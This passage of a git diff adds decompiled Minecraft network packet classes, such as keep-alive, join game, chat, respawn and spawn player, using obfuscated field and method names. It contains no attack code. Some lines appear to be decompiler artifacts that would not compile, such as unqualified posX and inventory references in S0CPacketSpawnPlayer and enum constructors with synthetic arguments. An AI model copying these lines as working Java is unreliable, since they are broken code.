+  public C19PacketResourcePackStatus() {}
+  
+  public C19PacketResourcePackStatus(String p_i45935_1_, Action p_i45935_2_)
+  {
+    if (p_i45935_1_.length() > 40)
+    {
+      p_i45935_1_ = p_i45935_1_.substring(0, 40);
+    }
+    
+    field_179720_a = p_i45935_1_;
+    field_179719_b = p_i45935_2_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_179720_a = data.readStringFromBuffer(40);
+    field_179719_b = ((Action)data.readEnumValue(Action.class));
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeString(field_179720_a);
+    data.writeEnumValue(field_179719_b);
+  }
+  
+  public void func_179718_a(INetHandlerPlayServer p_179718_1_)
+  {
+    p_179718_1_.func_175086_a(this);
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_179718_a((INetHandlerPlayServer)handler);
+  }
+  
+  public static enum Action
+  {
+    SUCCESSFULLY_LOADED("SUCCESSFULLY_LOADED", 0), 
+    DECLINED("DECLINED", 1), 
+    FAILED_DOWNLOAD("FAILED_DOWNLOAD", 2), 
+    ACCEPTED("ACCEPTED", 3);
+    
+    private static final Action[] $VALUES = { SUCCESSFULLY_LOADED, DECLINED, FAILED_DOWNLOAD, ACCEPTED };
+    private static final String __OBFID = "CL_00002281";
+    
+    private Action(String p_i45934_1_, int p_i45934_2_) {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S00PacketKeepAlive.java b/src/minecraft/net/minecraft/network/play/server/S00PacketKeepAlive.java
new file mode 100644
index 0000000..b1f034a
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S00PacketKeepAlive.java
@@ -0,0 +1,57 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+
+public class S00PacketKeepAlive implements Packet
+{
+  private int field_149136_a;
+  private static final String __OBFID = "CL_00001303";
+  
+  public S00PacketKeepAlive() {}
+  
+  public S00PacketKeepAlive(int p_i45195_1_)
+  {
+    field_149136_a = p_i45195_1_;
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleKeepAlive(this);
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149136_a = data.readVarIntFromBuffer();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(field_149136_a);
+  }
+  
+  public int func_149134_c()
+  {
+    return field_149136_a;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S01PacketJoinGame.java b/src/minecraft/net/minecraft/network/play/server/S01PacketJoinGame.java
new file mode 100644
index 0000000..0eb0890
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S01PacketJoinGame.java
@@ -0,0 +1,137 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.world.EnumDifficulty;
+import net.minecraft.world.WorldSettings.GameType;
+import net.minecraft.world.WorldType;
+
+public class S01PacketJoinGame implements Packet
+{
+  private int field_149206_a;
+  private boolean field_149204_b;
+  private WorldSettings.GameType field_149205_c;
+  private int field_149202_d;
+  private EnumDifficulty field_149203_e;
+  private int field_149200_f;
+  private WorldType field_149201_g;
+  private boolean field_179745_h;
+  private static final String __OBFID = "CL_00001310";
+  
+  public S01PacketJoinGame() {}
+  
+  public S01PacketJoinGame(int p_i45976_1_, WorldSettings.GameType p_i45976_2_, boolean p_i45976_3_, int p_i45976_4_, EnumDifficulty p_i45976_5_, int p_i45976_6_, WorldType p_i45976_7_, boolean p_i45976_8_)
+  {
+    field_149206_a = p_i45976_1_;
+    field_149202_d = p_i45976_4_;
+    field_149203_e = p_i45976_5_;
+    field_149205_c = p_i45976_2_;
+    field_149200_f = p_i45976_6_;
+    field_149204_b = p_i45976_3_;
+    field_149201_g = p_i45976_7_;
+    field_179745_h = p_i45976_8_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149206_a = data.readInt();
+    short var2 = data.readUnsignedByte();
+    field_149204_b = ((var2 & 0x8) == 8);
+    int var3 = var2 & 0xFFFFFFF7;
+    field_149205_c = WorldSettings.GameType.getByID(var3);
+    field_149202_d = data.readByte();
+    field_149203_e = EnumDifficulty.getDifficultyEnum(data.readUnsignedByte());
+    field_149200_f = data.readUnsignedByte();
+    field_149201_g = WorldType.parseWorldType(data.readStringFromBuffer(16));
+    
+    if (field_149201_g == null)
+    {
+      field_149201_g = WorldType.DEFAULT;
+    }
+    
+    field_179745_h = data.readBoolean();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeInt(field_149206_a);
+    int var2 = field_149205_c.getID();
+    
+    if (field_149204_b)
+    {
+      var2 |= 0x8;
+    }
+    
+    data.writeByte(var2);
+    data.writeByte(field_149202_d);
+    data.writeByte(field_149203_e.getDifficultyId());
+    data.writeByte(field_149200_f);
+    data.writeString(field_149201_g.getWorldTypeName());
+    data.writeBoolean(field_179745_h);
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleJoinGame(this);
+  }
+  
+  public int func_149197_c()
+  {
+    return field_149206_a;
+  }
+  
+  public boolean func_149195_d()
+  {
+    return field_149204_b;
+  }
+  
+  public WorldSettings.GameType func_149198_e()
+  {
+    return field_149205_c;
+  }
+  
+  public int func_149194_f()
+  {
+    return field_149202_d;
+  }
+  
+  public EnumDifficulty func_149192_g()
+  {
+    return field_149203_e;
+  }
+  
+  public int func_149193_h()
+  {
+    return field_149200_f;
+  }
+  
+  public WorldType func_149196_i()
+  {
+    return field_149201_g;
+  }
+  
+  public boolean func_179744_h()
+  {
+    return field_179745_h;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S02PacketChat.java b/src/minecraft/net/minecraft/network/play/server/S02PacketChat.java
new file mode 100644
index 0000000..357bf93
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S02PacketChat.java
@@ -0,0 +1,77 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.util.IChatComponent;
+
+public class S02PacketChat implements Packet
+{
+  private IChatComponent chatComponent;
+  private byte field_179842_b;
+  private static final String __OBFID = "CL_00001289";
+  
+  public S02PacketChat() {}
+  
+  public S02PacketChat(IChatComponent component)
+  {
+    this(component, (byte)1);
+  }
+  
+  public S02PacketChat(IChatComponent p_i45986_1_, byte p_i45986_2_)
+  {
+    chatComponent = p_i45986_1_;
+    field_179842_b = p_i45986_2_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    chatComponent = data.readChatComponent();
+    field_179842_b = data.readByte();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeChatComponent(chatComponent);
+    data.writeByte(field_179842_b);
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleChat(this);
+  }
+  
+  public IChatComponent func_148915_c()
+  {
+    return chatComponent;
+  }
+  
+  public boolean isChat()
+  {
+    return (field_179842_b == 1) || (field_179842_b == 2);
+  }
+  
+  public byte func_179841_c()
+  {
+    return field_179842_b;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S03PacketTimeUpdate.java b/src/minecraft/net/minecraft/network/play/server/S03PacketTimeUpdate.java
new file mode 100644
index 0000000..b350237
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S03PacketTimeUpdate.java
@@ -0,0 +1,76 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+
+public class S03PacketTimeUpdate implements Packet
+{
+  private long field_149369_a;
+  private long field_149368_b;
+  private static final String __OBFID = "CL_00001337";
+  
+  public S03PacketTimeUpdate() {}
+  
+  public S03PacketTimeUpdate(long p_i45230_1_, long p_i45230_3_, boolean p_i45230_5_)
+  {
+    field_149369_a = p_i45230_1_;
+    field_149368_b = p_i45230_3_;
+    
+    if (!p_i45230_5_)
+    {
+      field_149368_b = (-field_149368_b);
+      
+      if (field_149368_b == 0L)
+      {
+        field_149368_b = -1L;
+      }
+    }
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149369_a = data.readLong();
+    field_149368_b = data.readLong();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeLong(field_149369_a);
+    data.writeLong(field_149368_b);
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleTimeUpdate(this);
+  }
+  
+  public long func_149366_c()
+  {
+    return field_149369_a;
+  }
+  
+  public long func_149365_d()
+  {
+    return field_149368_b;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S04PacketEntityEquipment.java b/src/minecraft/net/minecraft/network/play/server/S04PacketEntityEquipment.java
new file mode 100644
index 0000000..71d8e7d
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S04PacketEntityEquipment.java
@@ -0,0 +1,76 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.item.ItemStack;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+
+public class S04PacketEntityEquipment implements Packet
+{
+  private int field_149394_a;
+  private int field_149392_b;
+  private ItemStack field_149393_c;
+  private static final String __OBFID = "CL_00001330";
+  
+  public S04PacketEntityEquipment() {}
+  
+  public S04PacketEntityEquipment(int p_i45221_1_, int p_i45221_2_, ItemStack p_i45221_3_)
+  {
+    field_149394_a = p_i45221_1_;
+    field_149392_b = p_i45221_2_;
+    field_149393_c = (p_i45221_3_ == null ? null : p_i45221_3_.copy());
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149394_a = data.readVarIntFromBuffer();
+    field_149392_b = data.readShort();
+    field_149393_c = data.readItemStackFromBuffer();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(field_149394_a);
+    data.writeShort(field_149392_b);
+    data.writeItemStackToBuffer(field_149393_c);
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleEntityEquipment(this);
+  }
+  
+  public ItemStack func_149390_c()
+  {
+    return field_149393_c;
+  }
+  
+  public int func_149389_d()
+  {
+    return field_149394_a;
+  }
+  
+  public int func_149388_e()
+  {
+    return field_149392_b;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S05PacketSpawnPosition.java b/src/minecraft/net/minecraft/network/play/server/S05PacketSpawnPosition.java
new file mode 100644
index 0000000..fc99e8f
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S05PacketSpawnPosition.java
@@ -0,0 +1,55 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.util.BlockPos;
+
+public class S05PacketSpawnPosition implements Packet
+{
+  private BlockPos field_179801_a;
+  private static final String __OBFID = "CL_00001336";
+  
+  public S05PacketSpawnPosition() {}
+  
+  public S05PacketSpawnPosition(BlockPos p_i45956_1_)
+  {
+    field_179801_a = p_i45956_1_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_179801_a = data.readBlockPos();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeBlockPos(field_179801_a);
+  }
+  
+  public void func_180752_a(INetHandlerPlayClient p_180752_1_)
+  {
+    p_180752_1_.handleSpawnPosition(this);
+  }
+  
+  public BlockPos func_179800_a()
+  {
+    return field_179801_a;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180752_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S06PacketUpdateHealth.java b/src/minecraft/net/minecraft/network/play/server/S06PacketUpdateHealth.java
new file mode 100644
index 0000000..53b6851
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S06PacketUpdateHealth.java
@@ -0,0 +1,72 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+
+public class S06PacketUpdateHealth implements Packet
+{
+  private float health;
+  private int foodLevel;
+  private float saturationLevel;
+  private static final String __OBFID = "CL_00001332";
+  
+  public S06PacketUpdateHealth() {}
+  
+  public S06PacketUpdateHealth(float healthIn, int foodLevelIn, float saturationIn)
+  {
+    health = healthIn;
+    foodLevel = foodLevelIn;
+    saturationLevel = saturationIn;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    health = data.readFloat();
+    foodLevel = data.readVarIntFromBuffer();
+    saturationLevel = data.readFloat();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeFloat(health);
+    data.writeVarIntToBuffer(foodLevel);
+    data.writeFloat(saturationLevel);
+  }
+  
+  public void func_180750_a(INetHandlerPlayClient p_180750_1_)
+  {
+    p_180750_1_.handleUpdateHealth(this);
+  }
+  
+  public float getHealth()
+  {
+    return health;
+  }
+  
+  public int getFoodLevel()
+  {
+    return foodLevel;
+  }
+  
+  public float getSaturationLevel()
+  {
+    return saturationLevel;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180750_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S07PacketRespawn.java b/src/minecraft/net/minecraft/network/play/server/S07PacketRespawn.java
new file mode 100644
index 0000000..43461db
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S07PacketRespawn.java
@@ -0,0 +1,92 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.world.EnumDifficulty;
+import net.minecraft.world.WorldSettings.GameType;
+import net.minecraft.world.WorldType;
+
+public class S07PacketRespawn implements Packet
+{
+  private int field_149088_a;
+  private EnumDifficulty field_149086_b;
+  private WorldSettings.GameType field_149087_c;
+  private WorldType field_149085_d;
+  private static final String __OBFID = "CL_00001322";
+  
+  public S07PacketRespawn() {}
+  
+  public S07PacketRespawn(int p_i45213_1_, EnumDifficulty p_i45213_2_, WorldType p_i45213_3_, WorldSettings.GameType p_i45213_4_)
+  {
+    field_149088_a = p_i45213_1_;
+    field_149086_b = p_i45213_2_;
+    field_149087_c = p_i45213_4_;
+    field_149085_d = p_i45213_3_;
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleRespawn(this);
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149088_a = data.readInt();
+    field_149086_b = EnumDifficulty.getDifficultyEnum(data.readUnsignedByte());
+    field_149087_c = WorldSettings.GameType.getByID(data.readUnsignedByte());
+    field_149085_d = WorldType.parseWorldType(data.readStringFromBuffer(16));
+    
+    if (field_149085_d == null)
+    {
+      field_149085_d = WorldType.DEFAULT;
+    }
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeInt(field_149088_a);
+    data.writeByte(field_149086_b.getDifficultyId());
+    data.writeByte(field_149087_c.getID());
+    data.writeString(field_149085_d.getWorldTypeName());
+  }
+  
+  public int func_149082_c()
+  {
+    return field_149088_a;
+  }
+  
+  public EnumDifficulty func_149081_d()
+  {
+    return field_149086_b;
+  }
+  
+  public WorldSettings.GameType func_149083_e()
+  {
+    return field_149087_c;
+  }
+  
+  public WorldType func_149080_f()
+  {
+    return field_149085_d;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S08PacketPlayerPosLook.java b/src/minecraft/net/minecraft/network/play/server/S08PacketPlayerPosLook.java
new file mode 100644
index 0000000..3e8f917
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S08PacketPlayerPosLook.java
@@ -0,0 +1,162 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import java.util.EnumSet;
+import java.util.Iterator;
+import java.util.Set;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+
+public class S08PacketPlayerPosLook implements Packet
+{
+  private double field_148940_a;
+  private double field_148938_b;
+  private double field_148939_c;
+  public float field_148936_d;
+  public float field_148937_e;
+  private Set field_179835_f;
+  private static final String __OBFID = "CL_00001273";
+  
+  public S08PacketPlayerPosLook() {}
+  
+  public S08PacketPlayerPosLook(double p_i45993_1_, double p_i45993_3_, double p_i45993_5_, float p_i45993_7_, float p_i45993_8_, Set p_i45993_9_)
+  {
+    field_148940_a = p_i45993_1_;
+    field_148938_b = p_i45993_3_;
+    field_148939_c = p_i45993_5_;
+    field_148936_d = p_i45993_7_;
+    field_148937_e = p_i45993_8_;
+    field_179835_f = p_i45993_9_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_148940_a = data.readDouble();
+    field_148938_b = data.readDouble();
+    field_148939_c = data.readDouble();
+    field_148936_d = data.readFloat();
+    field_148937_e = data.readFloat();
+    field_179835_f = EnumFlags.func_180053_a(data.readUnsignedByte());
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeDouble(field_148940_a);
+    data.writeDouble(field_148938_b);
+    data.writeDouble(field_148939_c);
+    data.writeFloat(field_148936_d);
+    data.writeFloat(field_148937_e);
+    data.writeByte(EnumFlags.func_180056_a(field_179835_f));
+  }
+  
+  public void func_180718_a(INetHandlerPlayClient p_180718_1_)
+  {
+    p_180718_1_.handlePlayerPosLook(this);
+  }
+  
+  public double func_148932_c()
+  {
+    return field_148940_a;
+  }
+  
+  public double func_148928_d()
+  {
+    return field_148938_b;
+  }
+  
+  public double func_148933_e()
+  {
+    return field_148939_c;
+  }
+  
+  public float func_148931_f()
+  {
+    return field_148936_d;
+  }
+  
+  public float func_148930_g()
+  {
+    return field_148937_e;
+  }
+  
+  public Set func_179834_f()
+  {
+    return field_179835_f;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180718_a((INetHandlerPlayClient)handler);
+  }
+  
+  public static enum EnumFlags
+  {
+    X("X", 0, 0), 
+    Y("Y", 1, 1), 
+    Z("Z", 2, 2), 
+    Y_ROT("Y_ROT", 3, 3), 
+    X_ROT("X_ROT", 4, 4);
+    
+    private int field_180058_f;
+    private static final EnumFlags[] $VALUES = { X, Y, Z, Y_ROT, X_ROT };
+    private static final String __OBFID = "CL_00002304";
+    
+    private EnumFlags(String p_i45992_1_, int p_i45992_2_, int p_i45992_3_)
+    {
+      field_180058_f = p_i45992_3_;
+    }
+    
+    private int func_180055_a()
+    {
+      return 1 << field_180058_f;
+    }
+    
+    private boolean func_180054_b(int p_180054_1_)
+    {
+      return (p_180054_1_ & func_180055_a()) == func_180055_a();
+    }
+    
+    public static Set func_180053_a(int p_180053_0_)
+    {
+      EnumSet var1 = EnumSet.noneOf(EnumFlags.class);
+      EnumFlags[] var2 = values();
+      int var3 = var2.length;
+      
+      for (int var4 = 0; var4 < var3; var4++)
+      {
+        EnumFlags var5 = var2[var4];
+        
+        if (var5.func_180054_b(p_180053_0_))
+        {
+          var1.add(var5);
+        }
+      }
+      
+      return var1;
+    }
+    
+    public static int func_180056_a(Set p_180056_0_)
+    {
+      int var1 = 0;
+      
+      EnumFlags var3;
+      for (Iterator var2 = p_180056_0_.iterator(); var2.hasNext(); var1 |= var3.func_180055_a())
+      {
+        var3 = (EnumFlags)var2.next();
+      }
+      
+      return var1;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S09PacketHeldItemChange.java b/src/minecraft/net/minecraft/network/play/server/S09PacketHeldItemChange.java
new file mode 100644
index 0000000..29ee32d
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S09PacketHeldItemChange.java
@@ -0,0 +1,54 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+
+public class S09PacketHeldItemChange implements Packet
+{
+  private int field_149387_a;
+  private static final String __OBFID = "CL_00001324";
+  
+  public S09PacketHeldItemChange() {}
+  
+  public S09PacketHeldItemChange(int p_i45215_1_)
+  {
+    field_149387_a = p_i45215_1_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149387_a = data.readByte();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeByte(field_149387_a);
+  }
+  
+  public void func_180746_a(INetHandlerPlayClient p_180746_1_)
+  {
+    p_180746_1_.handleHeldItemChange(this);
+  }
+  
+  public int func_149385_c()
+  {
+    return field_149387_a;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180746_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S0APacketUseBed.java b/src/minecraft/net/minecraft/network/play/server/S0APacketUseBed.java
new file mode 100644
index 0000000..6b95708
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S0APacketUseBed.java
@@ -0,0 +1,66 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class S0APacketUseBed implements Packet
+{
+  private int playerID;
+  private BlockPos field_179799_b;
+  private static final String __OBFID = "CL_00001319";
+  
+  public S0APacketUseBed() {}
+  
+  public S0APacketUseBed(EntityPlayer p_i45964_1_, BlockPos p_i45964_2_)
+  {
+    playerID = p_i45964_1_.getEntityId();
+    field_179799_b = p_i45964_2_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    playerID = data.readVarIntFromBuffer();
+    field_179799_b = data.readBlockPos();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(playerID);
+    data.writeBlockPos(field_179799_b);
+  }
+  
+  public void func_180744_a(INetHandlerPlayClient p_180744_1_)
+  {
+    p_180744_1_.handleUseBed(this);
+  }
+  
+  public EntityPlayer getPlayer(World worldIn)
+  {
+    return (EntityPlayer)worldIn.getEntityByID(playerID);
+  }
+  
+  public BlockPos func_179798_a()
+  {
+    return field_179799_b;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180744_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S0BPacketAnimation.java b/src/minecraft/net/minecraft/network/play/server/S0BPacketAnimation.java
new file mode 100644
index 0000000..d4179b7
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S0BPacketAnimation.java
@@ -0,0 +1,64 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.entity.Entity;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+
+public class S0BPacketAnimation implements Packet
+{
+  private int entityId;
+  private int type;
+  private static final String __OBFID = "CL_00001282";
+  
+  public S0BPacketAnimation() {}
+  
+  public S0BPacketAnimation(Entity ent, int animationType)
+  {
+    entityId = ent.getEntityId();
+    type = animationType;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    entityId = data.readVarIntFromBuffer();
+    type = data.readUnsignedByte();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(entityId);
+    data.writeByte(type);
+  }
+  
+  public void func_180723_a(INetHandlerPlayClient p_180723_1_)
+  {
+    p_180723_1_.handleAnimation(this);
+  }
+  
+  public int func_148978_c()
+  {
+    return entityId;
+  }
+  
+  public int func_148977_d()
+  {
+    return type;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180723_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S0CPacketSpawnPlayer.java b/src/minecraft/net/minecraft/network/play/server/S0CPacketSpawnPlayer.java
new file mode 100644
index 0000000..417e524
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S0CPacketSpawnPlayer.java
@@ -0,0 +1,143 @@
+package net.minecraft.network.play.server;
+
+import com.mojang.authlib.GameProfile;
+import java.io.IOException;
+import java.util.List;
+import java.util.UUID;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.util.MathHelper;
+
+public class S0CPacketSpawnPlayer implements net.minecraft.network.Packet
+{
+  private int field_148957_a;
+  private UUID field_179820_b;
+  private int field_148956_c;
+  private int field_148953_d;
+  private int field_148954_e;
+  private byte field_148951_f;
+  private byte field_148952_g;
+  private int field_148959_h;
+  private DataWatcher field_148960_i;
+  private List field_148958_j;
+  private static final String __OBFID = "CL_00001281";
+  
+  public S0CPacketSpawnPlayer() {}
+  
+  public S0CPacketSpawnPlayer(EntityPlayer p_i45171_1_)
+  {
+    field_148957_a = p_i45171_1_.getEntityId();
+    field_179820_b = p_i45171_1_.getGameProfile().getId();
+    field_148956_c = MathHelper.floor_double(posX * 32.0D);
+    field_148953_d = MathHelper.floor_double(posY * 32.0D);
+    field_148954_e = MathHelper.floor_double(posZ * 32.0D);
+    field_148951_f = ((byte)(int)(rotationYaw * 256.0F / 360.0F));
+    field_148952_g = ((byte)(int)(rotationPitch * 256.0F / 360.0F));
+    ItemStack var2 = inventory.getCurrentItem();
+    field_148959_h = (var2 == null ? 0 : Item.getIdFromItem(var2.getItem()));
+    field_148960_i = p_i45171_1_.getDataWatcher();
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_148957_a = data.readVarIntFromBuffer();
+    field_179820_b = data.readUuid();
+    field_148956_c = data.readInt();
+    field_148953_d = data.readInt();
+    field_148954_e = data.readInt();
+    field_148951_f = data.readByte();
+    field_148952_g = data.readByte();
+    field_148959_h = data.readShort();
+    field_148958_j = DataWatcher.readWatchedListFromPacketBuffer(data);
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(field_148957_a);
+    data.writeUuid(field_179820_b);
+    data.writeInt(field_148956_c);
+    data.writeInt(field_148953_d);
+    data.writeInt(field_148954_e);
+    data.writeByte(field_148951_f);
+    data.writeByte(field_148952_g);
+    data.writeShort(field_148959_h);
+    field_148960_i.writeTo(data);
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleSpawnPlayer(this);
+  }
+  
+  public List func_148944_c()
+  {
+    if (field_148958_j == null)
+    {
+      field_148958_j = field_148960_i.getAllWatched();
+    }
+    
+    return field_148958_j;
+  }
+  
+  public int func_148943_d()
+  {
+    return field_148957_a;
+  }
+  
+  public UUID func_179819_c()
+  {
+    return field_179820_b;
+  }
+  
+  public int func_148942_f()
+  {
+    return field_148956_c;
+  }
+  
+  public int func_148949_g()
+  {
+    return field_148953_d;
+  }
+  
+  public int func_148946_h()
+  {
+    return field_148954_e;
+  }
+  
+  public byte func_148941_i()
+  {
+    return field_148951_f;
+  }
+  
+  public byte func_148945_j()
+  {
+    return field_148952_g;
+  }
+  
+  public int func_148947_k()
+  {
+    return field_148959_h;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
